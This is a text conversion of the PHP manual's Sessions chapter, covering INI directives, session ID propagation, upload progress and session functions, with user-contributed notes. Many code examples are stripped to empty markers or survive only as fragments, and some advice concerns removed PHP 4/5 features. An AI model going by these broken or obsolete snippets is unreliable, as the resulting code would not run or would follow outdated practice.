rewritten to include session id when transparent sid support is enabled. Defaults to $_SERVER['HTTP_HOST'] Multiple hosts can be specified by ",", no space is allowed between hosts. e.g. php.net,wiki.php.net,bugs.php.net *session.bug_compat_42* boolean PHP versions 4.2.3 and lower have an undocumented feature/bug that allows you to initialize a session variable in the global scope, albeit register_globals is disabled. PHP 4.3.0 and later will warn you, if this feature is used, and if session.bug_compat_warn is also enabled. This feature/bug can be disabled by disabling this directive. Note: Removed in PHP 5.4.0. *session.bug_compat_warn* boolean PHP versions 4.2.3 and lower have an undocumented feature/bug that allows you to initialize a session variable in the global scope, albeit register_globals is disabled. PHP 4.3.0 and later will warn you, if this feature is used by enabling both session.bug_compat_42 and session.bug_compat_warn. Note: Removed in PHP 5.4.0. *session.sid_length* integer session.sid_length allows you to specify the length of session ID string. Session ID length can be between 22 to 256. The default is 32. If you need compatibility you may specify 32, 40, etc. Longer session ID is harder to guess. At least 32 chars is recommended. Compatibility Note: Use 32 for session.hash_func=0 (MD5) and session.hash_bits_per_character=4, session.hash_func=1 (SHA1) and session.hash_bits_per_character=6. Use 26 for session.hash_func=0 (MD5) and session.hash_bits_per_character=5. Use 22 for session.hash_func=0 (MD5) and session.hash_bits_per_character=6. You must configure INI values to have at least 128 bits in session ID. Do not forget set appropriate value to session.sid_bits_per_character, otherwise you will have weaker session ID. Note: This setting is introduced in PHP 7.1.0. *session.sid_bits_per_character* integer session.sid_per_character allows you to specify the number of bits in encoded session ID character. The possible values are '4' (0-9, a-f), '5' (0-9, a-v), and '6' (0-9, a-z, A-Z, "-", ","). The default is 4. The more bits results in stronger session ID. 5 is recommended value for most environments. Note: This setting is introduced in PHP 7.1.0. *session.hash_function* mixed session.hash_function allows you to specify the hash algorithm used to generate the session IDs. '0' means MD5 (128 bits) and '1' means SHA-1 (160 bits). Since PHP 5.3.0 it is also possible to specify any of the algorithms provided by the hash extension (if it is available), like sha512 or whirlpool. A complete list of supported algorithms can be obtained with the hash_algos() function. Note: This setting was introduced in PHP 5. Removed in PHP 7.1.0. *session.hash_bits_per_character* integer session.hash_bits_per_character allows you to define how many bits are stored in each character when converting the binary hash data to something readable. The possible values are '4' (0-9, a-f), '5' (0-9, a-v), and '6' (0-9, a-z, A-Z, "-", ","). Note: This was introduced in PHP 5. Removed in PHP 7.1.0. *session.upload_progress.enabled* boolean Enables upload progress tracking, populating the $_SESSION variable. Defaults to 1, enabled. *session.upload_progress.cleanup* boolean Cleanup the progress information as soon as all POST data has been read (i.e. upload completed). Defaults to 1, enabled. Note: It is highly recommended to keep this feature enabled. *session.upload_progress.prefix* string A prefix used for the upload progress key in the $_SESSION. This key will be concatenated with the value of $_POST[ini_get("session.upload_progress.name")] to provide a unique index. Defaults to "upload_progress_". *session.upload_progress.name* string The name of the key to be used in $_SESSION storing the progress information. See also session.upload_progress.prefix. If $_POST[ini_get("session.upload_progress.name")] is not passed or available, upload progressing will not be recorded. Defaults to "PHP_SESSION_UPLOAD_PROGRESS". *session.upload_progress.freq* mixed Defines how often the upload progress information should be updated. This can be defined in bytes (i.e. "update progress information after every 100 bytes"), or in percentages (i.e. "update progress information after receiving every 1% of the whole filesize"). Defaults to "1%". *session.upload_progress.min_freq* integer The minimum delay between updates, in seconds. Defaults to "1" (one second). *session.lazy_write* boolean session.lazy_write, when set to 1, means that session data is only rewritten if it changes. Defaults to 1, enabled. The register_globals configuration settings influence how the session variables get stored and restored. Upload progress will not be registered unless session.upload_progress.enabled is enabled, and the $_POST[ini_get("session.upload_progress.name")] variable is set. See Session Upload Progress for more details on this functionality. User Contributed Notes 14 notes 36 Christopher Kramer ¶2 years ago~ On debian (based) systems, changing session.gc_maxlifetime at runtime has no real effect. Debian disables PHP's own garbage collector by setting session.gc_probability=0. Instead it has a cronjob running every 30 minutes (see /etc/cron.d/php5) that cleans up old sessions. This cronjob basically looks into your php.ini and uses the value of session.gc_maxlifetime there to decide which sessions to clean (see /usr/lib/php5/maxlifetime). You can adjust the global value in your php.ini (usually /etc/php5/apache2/php.ini). Or you can change the session.save_path so debian's cronjob will not clean up your sessions anymore. Then you need to either do your own garbage collection with your own cronjob or enable PHP's garbage collection (php then needs sufficient privileges on the save_path). Why does Debian not use PHP's garbarage collection? For security reasons, they store session data in a place (/var/lib/php5) with very stringent permissions. With the sticky bit set, only root is allowed to rename or delete files there, so PHP itself cannot clean up old session data. See https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=267720 . 10 info at thimbleopensource dot com ¶1 year ago~ I found out that if you need to set custom session settings, you only need to do it once when session starts. Then session maintains its settings, even if you use ini_set and change them, original session still will use it's original setting until it expires. Just thought it might be useful to someone. 8 Anonymous ¶7 months ago~ SID constant defined dynamically! > var_dump(defined('SID')); // bool(false) - Not defined... session_start(); var_dump(defined('SID')); // bool(true) - Defined now! < 7 sarath dot jasrin at gmail dot com ¶5 months ago~ Check whether session started using Predefined Constants > if (session_status() == PHP_SESSION_NONE) { session_start(); } < Examples~ Table of Contents ¶ Basic usage Passing the Session ID Custom Session Handlers User Contributed Notes 4 notes 14 ranc at mobixell dot com ¶7 years ago~ I have wrote this following piece of code that shows how to work with global sessions (global to all clients) and private sessions (private per browser instance i.e. session cookie). This code is usefull to store some read-only complex configuration and store it once (per server) and save the performance penatly for doing the same thing over each new private session... Enjoy: >

Test 2: Global Count is:

Test 2: Your Count is:

Private ID is

Gloabl ID is

 
		 
		
< [EDIT BY danbrown AT php DOT net: Contains a bugfix provided by (lveillette AT silexmultimedia DOT com) on 19-NOV-09.] Basic usage~ Sessions are a simple way to store data for individual users against a unique session ID. This can be used to persist state information between page requests. Session IDs are normally sent to the browser via session cookies and the ID is used to retrieve existing session data. The absence of an ID or session cookie lets PHP know to create a new session, and generate a new session ID. Sessions follow a simple workflow. When a session is started, PHP will either retrieve an existing session using the ID passed (usually from a session cookie) or if no session is passed it will create a new session. PHP will populate the $_SESSION superglobal with any session data after the session has started. When PHP shuts down, it will automatically take the contents of the $_SESSION superglobal, serialize it, and send it for storage using the session save handler. By default, PHP uses the internal files save handler which is set by session.save_handler. This saves session data on the server at the location specified by the session.save_path configuration directive. Sessions can be started manually using the session_start() function. If the session.auto_start directive is set to 1, a session will automatically start on request startup. Sessions normally shutdown automatically when PHP is finished executing a script, but can be manually shutdown using the session_write_close() function. Example #1 Registering a variable with $_SESSION. > < Example #2 Unregistering a variable with $_SESSION. > < Caution Do NOT unset the whole $_SESSION with unset($_SESSION) as this will disable the registering of session variables through the $_SESSION superglobal. Warning You can't use references in session variables as there is no feasible way to restore a reference to another variable. Warning register_globals will overwrite variables in the global scope whose names are shared with session variables. Please see Using Register Globals for details. Note: File based sessions (the default in PHP) lock the session file once a session is opened via session_start() or implicitly via session.auto_start. Once locked, no other script can access the same session file until it has been closed by the first script terminating or calling session_write_close(). This is most likely to be an issue on Web sites that use AJAX heavily and have multiple concurrent requests. The easiest way to deal with it is to call session_write_close() as soon as any required changes to the session have been made, preferably early in the script. Alternatively, a different session backend that does support concurrency could be used. User Contributed Notes 1 note 30 AlexFBP ¶4 years ago~ Regardless, if you need to set the header 'Location:' before closing the session; explicitly close the php script with "exit()" or "die()" functions. Remember that when a php script ends, the session automatically are going to be closed. -------------------------------------------------------------------------------- *passing_the_session_id* +------------------------+~ | Passing the Session ID |~ +------------------------+~ There are two methods to propagate a session id: Cookies URL parameter The session module supports both methods. Cookies are optimal, but because they are not always available, we also provide an alternative way. The second method embeds the session id directly into URLs. PHP is capable of transforming links transparently. If the run-time option session.use_trans_sid is enabled, relative URIs will be changed to contain the session id automatically. Note: The arg_separator.output php.ini directive allows to customize the argument separator. For full XHTML conformance, specify & there. Alternatively, you can use the constant SID which is defined if the session started. If the client did not send an appropriate session cookie, it has the form session_name=session_id. Otherwise, it expands to an empty string. Thus, you can embed it unconditionally into URLs. The following example demonstrates how to register a variable, and how to link correctly to another page using SID. Example #1 Counting the number of hits of a single user >

Hello visitor, you have seen this page times.

To continue, click here.

< The htmlspecialchars() may be used when printing the SID in order to prevent XSS related attacks. Printing the SID, like shown above, is not necessary if --enable-trans-sid was used to compile PHP. Note: Non-relative URLs are assumed to point to external sites and hence don't append the SID, as it would be a security risk to leak the SID to a different server. User Contributed Notes 3 notes 26 Anonymous ¶7 years ago~ The first time a page is accessed, PHP doesn't yet know if the browser is accepting cookies or not, so after session_start() is called, SID will be non-empty, and the PHPSESSID gets inserted in all link URLs on that page that are properly using SID. This has the consequence that if, for example, a search engine bot hits your home page first, all links that it sees on your home page will have the ugly PHPSESSID=... in them. This appears to be the default behavior. A work-around is to turn on session.use_only_cookies, but then you lose session data for anyone who has their cookies turned off. -------------------------------------------------------------------------------- *custom_session_handlers* +-------------------------+~ | Custom Session Handlers |~ +-------------------------+~ To implement database storage, or any other storage method, you will need to use session_set_save_handler() to create a set of user-level storage functions. As of PHP 5.4.0 you may create session handlers using the SessionHandlerInterface or extend internal PHP handlers by inheriting from SessionHandler. The callbacks specified in session_set_save_handler() are methods called by PHP during the life-cycle of a session: open, read, write and close and for the housekeeping tasks: destroy for deleting a session and gc for periodic garbage collection. Therefore, PHP always requires session save handlers. The default is usually the internal 'files' save handler. A custom save handler can be set using session_set_save_handler(). Alternative internal save handlers are also provided by PHP extensions, such as sqlite, memcache and memcached and can be set with session.save_handler. When the session starts, PHP will internally call the open handler followed by the read callback which should return an encoded string exactly as it was originally passed for storage. Once the read callback returns the encoded string, PHP will decode it and then populate the resulting array into the $_SESSION superglobal. When PHP shuts down (or when session_write_close() is called), PHP will internally encode the $_SESSION superglobal and pass this along with the session ID to the write callback. After the write callback has finished, PHP will internally invoke the close callback handler. When a session is specifically destroyed, PHP will call the destroy handler with the session ID. PHP will call the gc callback from time to time to expire any session records according to the set max lifetime of a session. This routine should delete all records from persistent storage which were last accessed longer than the $lifetime. -------------------------------------------------------------------------------- *session_upload_progress* +-------------------------+~ | Session Upload Progress |~ +-------------------------+~ When the session.upload_progress.enabled INI option is enabled, PHP will be able to track the upload progress of individual files being uploaded. This information isn't particularly useful for the actual upload request itself, but during the file upload an application can send a POST request to a separate endpoint (via XHR for example) to check the status. The upload progress will be available in the $_SESSION superglobal when an upload is in progress, and when POSTing a variable of the same name as the session.upload_progress.name INI setting is set to. When PHP detects such POST requests, it will populate an array in the $_SESSION, where the index is a concatenated value of the session.upload_progress.prefix and session.upload_progress.name INI options. The key is typically retrieved by reading these INI settings, i.e. > < It is also possible to cancel the currently in-progress file upload, by setting the $_SESSION[$key]["cancel_upload"] key to TRUE. When uploading multiple files in the same request, this will only cancel the currently in-progress file upload, and pending file uploads, but will not remove successfully completed uploads. When an upload is cancelled like this, the error key in $_FILES array will be set to UPLOAD_ERR_EXTENSION. The session.upload_progress.freq and session.upload_progress.min_freq INI options control how frequent the upload progress information should be recalculated. With a reasonable amount for these two settings, the overhead of this feature is almost non-existent. Example #1 Example information Example of the structure of the progress upload array. >
" value="123" />
< The data stored in the session will look like this: > 1234567890, // The request time "content_length" => 57343257, // POST content length "bytes_processed" => 453489, // Amount of bytes received and processed "done" => false, // true when the POST handler has finished, successfully or not "files" => array( 0 => array( "field_name" => "file1", // Name of the field // The following 3 elements equals those in $_FILES "name" => "foo.avi", "tmp_name" => "/tmp/phpxxxxxx", "error" => 0, "done" => true, // True when the POST handler has finished handling this file "start_time" => 1234567890, // When this file has started to be processed "bytes_processed" => 57343250, // Number of bytes received and processed for this file ), // An other file, not finished uploading, in the same request 1 => array( "field_name" => "file2", "name" => "bar.avi", "tmp_name" => NULL, "error" => 0, "done" => false, "start_time" => 1234567899, "bytes_processed" => 54554, ), ) ); < Warning The web server's request buffering has to be disabled for this to work properly, else PHP may see the file upload only once fully uploaded. Servers such as Nginx are known to buffer larger requests. User Contributed Notes 16 notes 102 s.zarges ¶4 years ago~ Note, this feature doesn't work, when your webserver is runnig PHP via FastCGI. There will be no progress informations in the session array. Unfortunately PHP gets the data only after the upload is completed and can't show any progress. I hope this informations helps. 27 howtomakeaturn ¶1 year ago~ ATTENTION: Put the upload progress session name input field BEFORE your file field in the form : >
" value="123" />
< If you make it after your file field, you'll waste a lot of time figuring why (just like me ...) The following form will make you crazy and waste really a lot of time: >
" value="123" />
< DON'T do this! 15 Anonymous ¶3 years ago~ While the example in the documentation is accurate, the description is a bit off. To clarify: PHP will populate an array in the $_SESSION, where the index is a concatenated value of the session.upload_progress.prefix and the VALUE of the POSTed session.upload_progress.name variable. 19 gerd dot randolf at web dot de ¶5 years ago~ Note that this will be available from PHP 5.4 on. It won't work in PHP 5.3 or earlier. 14 isius ¶4 years ago~ If you're seeing "PHP Warning: Unknown: The session id is too long or contains illegal characters, valid characters are a-z, A-Z, 0-9 and '-,' in Unknown on line 0", then a misplaced input could be the cause. It's worth mentioning again that the hidden element MUST be before the file elements. -------------------------------------------------------------------------------- *Session_Functions* +-------------------+~ | Session Functions |~ +-------------------+~ Table of Contents~ |session_abort| — Discard session array changes and finish session |session_cache_expire| — Return current cache expire |session_cache_limiter| — Get and/or set the current cache limiter |session_commit| — Alias of session_write_close |session_create_id| — Create new session id |session_decode| — Decodes session data from a session encoded string |session_destroy| — Destroys all data registered to a session |session_encode| — Encodes the current session data as a session encoded string |session_gc| — Perform session data garbage collection |session_get_cookie_params| — Get the session cookie parameters |session_id| — Get and/or set the current session id |session_is_registered| — Find out whether a global variable is registered in a session |session_module_name| — Get and/or set the current session module |session_name| — Get and/or set the current session name |session_regenerate_id| — Update the current session id with a newly generated one |session_register_shutdown| — Session shutdown function |session_register| — Register one or more global variables with the current session |session_reset| — Re-initialize session array with original values |session_save_path| — Get and/or set the current session save path |session_set_cookie_params| — Set the session cookie parameters |session_set_save_handler| — Sets user-level session storage functions |session_start| — Start new or resume existing session |session_status| — Returns the current session status |session_unregister| — Unregister a global variable from the current session |session_unset| — Free all session variables |session_write_close| — Write session data and end session User Contributed Notes 22 notes 9 pautzomat at web dot de ¶13 years ago~ Be aware of the fact that absolute URLs are NOT automatically rewritten to contain the SID. Of course, it says so in the documentation ('Passing the Session Id') and of course it makes perfectly sense to have that restriction, but here's what happened to me: I have been using sessions for quite a while without problems. When I used a global configuration file to be included in all my scripts, it contained a line like this: $sHomeDirectory = 'http://my.server.com/one/of/my/projects' which was used to make sure that all automatically generated links had the right prefix (just like $cfg['PmaAbsoluteUri'] works in phpMyAdmin). After introducing that variable, no link would pass the SID anymore, causing every script to return to the login page. It took me hours (!!) to recognize that this wasn't a bug in my code or some misconfiguration in php.ini and then still some more time to find out what it was. The above restriction had completely slipped from my mind (if it ever was there...) Skipping the 'http:' did the job. OK, it was my own mistake, of course, but it just shows you how easily one can sabotage his own work for hours... Just don't do it ;) 10 Edemilson Lima ¶9 years ago~ Sessions and browser's tabs May you have noticed when you open your website in two or more tabs in Firefox, Opera, IE 7.0 or use 'Control+N' in IE 6.0 to open a new window, it is using the same cookie or is passing the same session id, so the another tab is just a copy of the previous tab. What you do in one will affect the another and vice-versa. Even if you open Firefox again, it will use the same cookie of the previous session. But that is not what you need mostly of time, specially when you want to copy information from one place to another in your web application. This occurs because the default session name is "PHPSESSID" and all tabs will use it. There is a workaround and it rely only on changing the session's name. Put these lines in the top of your main script (the script that call the subscripts) or on top of each script you have: > =0) { if(!ereg('^SESS[0-9]+$',$_REQUEST['SESSION_NAME'])) { $_REQUEST['SESSION_NAME']='SESS'.uniqid(''); } output_add_rewrite_var('SESSION_NAME',$_REQUEST['SESSION_NAME']); session_name($_REQUEST['SESSION_NAME']); } ?> < How it works: First we compare if the PHP version is at least 4.3.0 (the function output_add_rewrite_var() is not available before this release). After we check if the SESSION_NAME element in $_REQUEST array is a valid string in the format "SESSIONxxxxx", where xxxxx is an unique id, generated by the script. If SESSION_NAME is not valid (ie. not set yet), we set a value to it. uniqid('') will generate an unique id for a new session name. It don't need to be too strong like uniqid(rand(),TRUE), because all security rely in the session id, not in the session name. We only need here a different id for each session we open. Even getmypid() is enough to be used for this, but I don't know if this may post a treat to the web server. I don't think so. output_add_rewrite_var() will add automatically a pair of 'SESSION_NAME=SESSxxxxx' to each link and web form in your website. But to work properly, you will need to add it manually to any header('location') and Javascript code you have, like this: > < The last function, session_name() will define the name of the actual session that the script will use. So, every link, form, header() and Javascript code will forward the SESSION_NAME value to the next script and it will know which is the session it must use. If none is given, it will generate a new one (and so, create a new session to a new tab). May you are asking why not use a cookie to pass the SESSION_NAME along with the session id instead. Well, the problem with cookie is that all tabs will share the same cookie to do it, and the sessions will mix anyway. Cookies will work partially if you set them in different paths and each cookie will be available in their own directories. But this will not make sessions in each tab completly separated from each other. Passing the session name through URL via GET and POST is the best way, I think. 9 hinom - iMasters ¶8 years ago~ simple session test > sessPath: ' . $sessPath; echo '
sessCookie: ' . $sessCookie; echo '
'; if( !isset( $_GET['p'] ) ){ // instantiate new session var $_SESSION[$sessVar] = 'hello world'; }else{ if( $_GET['p'] == 1 ){ // printing session value and global cookie PHPSESSID echo $sessVar . ': '; if( isset( $_SESSION[$sessVar] ) ){ echo $_SESSION[$sessVar]; }else{ echo '[not exists]'; } echo '
' . $sessName . ': '; if( isset( $_COOKIE[$sessName] ) ){ echo $_COOKIE[$sessName]; }else{ if( isset( $_REQUEST[$sessName] ) ){ echo $_REQUEST[$sessName]; }else{ if( isset( $_SERVER['HTTP_COOKIE'] ) ){ echo $_SERVER['HTTP_COOKIE']; }else{ echo 'problem, check your PHP settings'; } } } }else{ // destroy session by unset() function unset( $_SESSION[$sessVar] ); // check if was destroyed if( !isset( $_SESSION[$sessVar] ) ){ echo '
'; echo $sessName . ' was "unseted"'; }else{ echo '
'; echo $sessName . ' was not "unseted"'; } } } ?>
test 1 (printing session value)
test 2 (kill session) < 7 Csar ¶9 years ago~ There's a bug in Internet explorer in which sessions do not work if the name of the server is not a valid name. For example...if your server is called web_server (_ isn't a valid character), if you call a page which uses sessions like http://web_server/example.php your sessions won't work but sessions will work if you call the script like this [IP NUMBER]/example.php 8 Jeremy Speer ¶7 years ago~ When working on a project, I found a need to switch live sessions between two different pieces of software. The documentation to do this is scattered all around different sites, especially in comments sections rather than examples. One difficulty I encountered was the session save handler for one of the applications was set, whereas the other was not. Now, I didn't code in the function session_set_save_handler(), instead I utilize that once I'm done with the function (manually), however this function could easily be extended to include that functionality. Basically, it is only overriding the system's default session save handler. To overcome this after you have used getSessionData(), just call session_write_close(), session_set_save_handler() with the appropriate values, then re-run session_name(), session_id() and session_start() with their appropriate values. If you don't know the session id, it's the string located in $_COOKIE[session_name], or $_REQUEST[session_name] if you are using trans_sid. [note: use caution with trusting data from $_REQUEST, if at all possible, use $_GET or $_POST instead depending on the page]. > < 6 carl /a/ suchideas /o/ com ¶9 years ago~ Another gotcha to add to this list is that using a relative session.save_path is a VERY BAD idea. You can just about pull it off, if you're very careful, but note two related points: 1) The path is taken relative to the directory of the ORIGINALLY executed script, so unless all pages are run from the same directory, you'll have to set the directory separately in each individual subfolder 2) If you call certain functions, such as session_regenerate_id(), PHP will try to take the session directory relative to the exectuable, or something like that, creating an error IN the executable. This provides slightly cryptic error messages, like this: Warning: Unknown: open(relative_path\ilti9oq3j9ks0jvih1fmiq4sv1.session, O_RDWR) failed: No such file or directory (2) in Unknown on line 0 Warning: Unknown: Failed to write session data (files). Please verify that the current setting of session.save_path is correct (relative_path) in Unknown on line 0 ... so don't even bother. Just use > < (or equivalent) in a file which you know is always in the same place relative to the file. {PHP version 5.1.6} 7 Sam Yong - hellclanner at live dot com ¶5 years ago~ The following has been tested true in PHP 5.3.5. Setting the session variables after the execution of the script i.e. in __destruct function, will not work. > < The above example will write nothing into the temporary session file, as I observed through a custom Session Save Handler. 6 hinom06 [at] hotmail.co.jp ¶6 years ago~ simple session test version 1.1 > */ if( session_id() == '' ) { echo 'session_id() empty'; }else{ echo session_id(); } echo '
'; $sessPath = ini_get('session.save_path'); $sessCookie = ini_get('session.cookie_path'); $sessName = ini_get('session.name'); $sessVar = 'foo'; echo '
sessPath: ' . $sessPath; echo '
sessCookie: ' . $sessCookie; echo '
'; if( !isset( $_GET['p'] ) ){ // instantiate new session var $_SESSION[$sessVar] = 'hello world'; }else{ if( $_GET['p'] == 1 ){ // printing session value and global cookie PHPSESSID echo $sessVar . ': '; if( isset( $_SESSION[$sessVar] ) ){ echo $_SESSION[$sessVar]; }else{ echo '[not exists]'; } echo '
' . $sessName . ': '; if( isset( $_COOKIE[$sessName] ) ){ echo $_COOKIE[$sessName]; }else{ if( isset( $_REQUEST[$sessName] ) ){ echo $_REQUEST[$sessName]; }else{ if( isset( $_SERVER['HTTP_COOKIE'] ) ){ echo $_SERVER['HTTP_COOKIE']; }else{ echo 'problem, check your PHP settings'; } } } }else{ // destroy session by unset() function unset( $_SESSION[$sessVar] ); // check if was destroyed if( !isset( $_SESSION[$sessVar] ) ){ echo '
'; echo $sessName . ' was "unseted"'; }else{ echo '
'; echo $sessName . ' was not "unseted"'; } } } ?>
>test 2 (kill session) < -------------------------------------------------------------------------------- *session_abort* +---------------+~ | session_abort |~ +---------------+~ (PHP 5 >= 5.6.0, PHP 7) session_abort — Discard session array changes and finish session Description~ > void session_abort ( void ) < session_abort() finishes session without saving data. Thus the original values in session data are kept. Return Values~ No value is returned. See Also~ |$_SESSION| The |session.auto_start| configuration directive |session_start|() - Start new or resume existing session |setsion_reset|() - Re-initialize session array with original values |session_commit|() - Alias of session_write_close 10 parsa dot mhn at outlook dot com ¶1 year ago~ To better understand this function you should execute this code first: > < Then you should execute this code : > < So if you have an open session , session_abort() will simply close it without effecting the external session data , so you can reload your data again from your path that you chose . -------------------------------------------------------------------------------- *session_cache_expire* +----------------------+~ | session_cache_expire |~ +----------------------+~ (PHP 4 >= 4.2.0, PHP 5, PHP 7) session_cache_expire — Return current cache expire Description~ > int session_cache_expire ([ string $new_cache_expire ] ) < session_cache_expire() returns the current setting of session.cache_expire. The cache expire is reset to the default value of 180 stored in session.cache_expire at request startup time. Thus, you need to call session_cache_expire() for every request (and before session_start() is called). Parameters~ new_cache_expire ---------------- If new_cache_expire is given, the current cache expire is replaced with new_cache_expire. Note: Setting new_cache_expire is of value only, if session.cache_limiter is set to a value different from nocache. Return Values~ Returns the current setting of session.cache_expire. The value returned should be read in minutes, defaults to 180. Examples~ Example #1 session_cache_expire() example > "; echo "The cached session pages expire after $cache_expire minutes"; ?> < See Also~ |session.cache_expire| |session.cache_limiter| |session_cache_limiter|() - Get and/or set the current cache limiter User Contributed Notes 3 notes 73 Anonymous ¶9 years ago~ The manual probably doesn't stress this enough: ** This has nothing to do with lifetime of a session ** Whatever you set this setting to, it won't change how long sessions live on your server. This only changes HTTP cache expiration time (Expires: and Cache-Control: max-age headers), which advise browser for how long it can keep pages cached in user's cache without having to reload them from the server. -------------------------------------------------------------------------------- *session_cache_limiter* +-----------------------+~ | session_cache_limiter |~ +-----------------------+~ (PHP 4 >= 4.0.3, PHP 5, PHP 7) session_cache_limiter — Get and/or set the current cache limiter Description~ > string session_cache_limiter ([ string $cache_limiter ] ) < session_cache_limiter() returns the name of the current cache limiter. The cache limiter defines which cache control HTTP headers are sent to the client. These headers determine the rules by which the page content may be cached by the client and intermediate proxies. Setting the cache limiter to nocache disallows any client/proxy caching. A value of public permits caching by proxies and the client, whereas private disallows caching by proxies and permits the client to cache the contents. In private mode, the Expire header sent to the client may cause confusion for some browsers, including Mozilla. You can avoid this problem by using private_no_expire mode. The Expire header is never sent to the client in this mode. Setting the cache limiter to '' will turn off automatic sending of cache headers entirely. The cache limiter is reset to the default value stored in session.cache_limiter at request startup time. Thus, you need to call session_cache_limiter() for every request (and before session_start() is called). Parameters~ cache_limiter If cache_limiter is specified, the name of the current cache limiter is changed to the new value. Possible values Value Headers sent public Expires: (sometime in the future, according session.cache_expire) Cache-Control: public, max-age=(sometime in the future, according to session.cache_expire) Last-Modified: (the timestamp of when the session was last saved) private_no_expire Cache-Control: private, max-age=(session.cache_expire in the future), pre-check=(session.cache_expire in the future) Last-Modified: (the timestamp of when the session was last saved) private Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, max-age=(session.cache_expire in the future), pre-check=(session.cache_expire in the future) Last-Modified: (the timestamp of when the session was last saved) nocache Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Return Values~ Returns the name of the current cache limiter. Examples Example #1 session_cache_limiter() example > "; ?> < See Also~ |session.cache_limiter| User Contributed Notes 25 notes 9 clay at killersoft dot com ¶8 years ago~ The actual headers that are set using the values described above are: > public: Expires: pageload + 3 hours Cache-Control: public, max-age=10800 private: Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, max-age=10800, pre-check=10800 nocache: Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache private_no_expire: Cache-Control: private, max-age=10800, pre-check=10800 < Regarding other settings mentioned by some, those just don't do anything. Check the source of PHP, in ext/session/session.c -- the above values are all that actually do anything. Other values, or an emtpy string, result in no cache-limiting headers being set at all. -------------------------------------------------------------------------------- *session_commit* +----------------+~ | session_commit |~ +----------------+~ (PHP 4 >= 4.4.0, PHP 5, PHP 7) session_commit — Alias of session_write_close() Description~ This function is an alias of: |session_write_close|(). -------------------------------------------------------------------------------- *session_create_id* +-------------------+~ | session_create_id |~ +-------------------+~ (PHP 7 >= 7.1.0) session_create_id — Create new session id Description~ > string session_create_id ([ string $prefix ] ) < session_create_id() is used to create new session id for the current session. It returns collision free session id. If session is not active, collision check is omitted. Session ID is created according to php.ini settings. It is important to use the same user ID of your web server for GC task script. Otherwise, you may have permission problems especially with files save handler. Parameters~ prefix ------ If prefix is specified, new session id is prefixed by prefix. Not all characters are allowed within the session id. Characters in the range a-z A-Z 0-9 , (comma) and - (minus) are allowed. Return Values~ session_create_id() returns new collision free session id for the current session. If it is used without active session, it omits collision check. Examples~ Example #1 session_create_id() example with session_regenerate_id() > See Also~ |session_regenerate_id|() - Update the current session id with a newly generated one |session_start|() - Start new or resume existing session |session.use_strict_mode| -------------------------------------------------------------------------------- *session_decode* +---------------+~ | session_decode |~ +---------------+~ (PHP 4, PHP 5, PHP 7) session_decode — Decodes session data from a session encoded string Description~ > bool session_decode ( string $data ) < session_decode() decodes the serialized session data provided in $data, and populates the $_SESSION superglobal with the result. By default, the unserialization method used is internal to PHP, and is not the same as unserialize(). The serialization method can be set using session.serialize_handler. Parameters~ data ----- The encoded data to be stored. Return Values~ Returns TRUE on success or FALSE on failure. See Also~ |session_encode|() - Encodes the current session data as a session encoded string |session.serialize_handler| 26 Frits dot vanCampen at moxio dot com ¶5 years ago~ I noticed that the posted solutions for manually decoding sessions are not perfect, so I've contributed a more robust solution. The preg_match solution can never work. It's not so hard to find a case that might break unserialization. In the case of jason-joeymail is breaks on: > < Below you can find my solution. It doesn't use a regular expression but rather the reversibility of the serialize operation and the 'feature' that serialize ignores all further input when it thinks it's done. It's by no means a beautiful or particularly fast solution but it is a more robust solution. I've added a deserializer for "php" and "php_binary". It should be trivial to add one for "wddx". > < Usage: > < 9 frank at interactinet dot com ¶3 years ago~ I found this to be the simplest solution: > < -------------------------------------------------------------------------------- *session_destroy* +-----------------+~ | session_destroy |~ +-----------------+~ (PHP 4, PHP 5, PHP 7) session_destroy — Destroys all data registered to a session Description~ > bool session_destroy ( void ) < session_destroy() destroys all of the data associated with the current session. It does not unset any of the global variables associated with the session, or unset the session cookie. To use the session variables again, session_start() has to be called. Note: You do not have to call session_destroy() from usual code. Cleanup $_SESSION array rather than destroying session data. In order to kill the session altogether, the session ID must also be unset. If a cookie is used to propagate the session ID (default behavior), then the session cookie must be deleted. setcookie() may be used for that. When session.use_strict_mode is enabled. You do not have to remove obsolete session ID cookie because session module will not accept session ID cookie when there is no data associated to the session ID and set new session ID cookie. Enabling session.use_strict_mode is recommended for all sites. Warning Immediate session deletion may cause unwanted results. When there is concurrent requests, other connections may see sudden session data loss. e.g. Requests from JavaScript and/or requests from URL links. Although current session module does not accept empty session ID cookie, but immediate session deletion may result in empty session ID cookie due to client(browser) side race condition. This will result that the client creates many session ID needlessly. To avoid these, you must set deletion time-stamp to $_SESSION and reject access while later. Or make sure your application does not have concurrent requests. This applies to session_regenerate_id() also. Return Values~ Returns TRUE on success or FALSE on failure. Examples~ Example #1 Destroying a session with $_SESSION > < Notes Note: Only use session_unset() for older deprecated code that does not use $_SESSION. See Also~ |session.use_strict_mode| |session_reset|() - Re-initialize session array with original values |session_regenerate_id|() - Update the current session id with a newly generated one |unset|() - Unset a given variable |setcookie|() - Send a cookie 35 Praveen V ¶4 years ago~ If you want to change the session id on each log in, make sure to use session_regenerate_id(true) during the log in process. > < [Edited by moderator (googleguy at php dot net)] 14 Jack Luo ¶2 years ago~ It took me a while to figure out how to destroy a particular session in php. Note I'm not sure if solution provided below is perfect but it seems work for me. Please feel free to post any easier way to destroy a particular session. Because it's quite useful for functionality of force an user offline. 1. If you're using db or memcached to manage session, you can always delete that session entry directly from db or memcached. 2. Using generic php session methods to delete a particular session(by session id). > < -------------------------------------------------------------------------------- *session_encode* +----------------+~ | session_encode |~ +----------------+~ (PHP 4, PHP 5, PHP 7) session_encode — Encodes the current session data as a session encoded string Description~ > string session_encode ( void ) < session_encode() returns a serialized string of the contents of the current session data stored in the $_SESSION superglobal. By default, the serialization method used is internal to PHP, and is not the same as serialize(). The serialization method can be set using session.serialize_handler. Return Values~ Returns the contents of the current session encoded. Notes Warning Must call |session_start|() before using |session_encode|(). See Also~ |session_decode|() - Decodes session data from a session encoded string |session.serialize_handler| 8 sica at wnet dot com dot br ¶11 years ago~ session_encode() just return the session dataset in a formatted form > session_start(); $_SESSION['login_ok'] = true; $_SESSION['nome'] = 'sica'; $_SESSION['inteiro'] = 34; 